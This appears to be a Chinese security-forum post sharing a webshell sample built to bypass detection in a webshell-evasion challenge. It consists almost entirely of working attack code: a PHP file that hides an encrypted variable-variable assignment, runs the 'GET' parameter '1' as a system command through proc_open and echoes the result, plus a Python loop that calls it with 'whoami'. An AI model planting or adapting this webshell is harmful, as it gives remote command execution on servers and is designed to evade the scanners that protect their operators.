[【奇技淫巧】] 第四期伏魔计划绕过样本分享

<?php

$d = True;

switch ($d) {
        case '1':
                $c = "AAAAA";
                break;
        case '2':
                $c = "BBBBB";
                break;
        case '2':
                $c = "CCCCC";
                break;
        default:
                $c = "DDDDD";
                break;
}

        
        $command=openssl_decrypt("4arqW4DvZ6J3t0pR2jQDaQ==", 'AES-128-ECB', $c, 0);

    $descriptors = [
        0 => ['pipe', 'r'], 
        1 => ['pipe', 'w'], 
        2 => ['pipe', 'w'], 
    ];
  

        if(!test()){

                $$command = $_GET['1'];
        }

        $process = proc_open($command, $descriptors, $pipes);

        if (is_resource($process)) {
           
            $output = stream_get_contents($pipes[1]);

            
            fclose($pipes[0]);
            fclose($pipes[1]);
            fclose($pipes[2]);
            proc_close($process);


            echo $output;
        }
    


function test() {
    
    $a = openssl_random_pseudo_bytes(1);
    echo $a;
    if ($a){
        return 1; 
    } else {
        return 0;
    }
}





?>

import requests

url = "http://127.0.0.1/1.php?1=whoami"

while 1:
    req = requests.get(url=url).text
    if("0" in req):
        print(req)
        exit()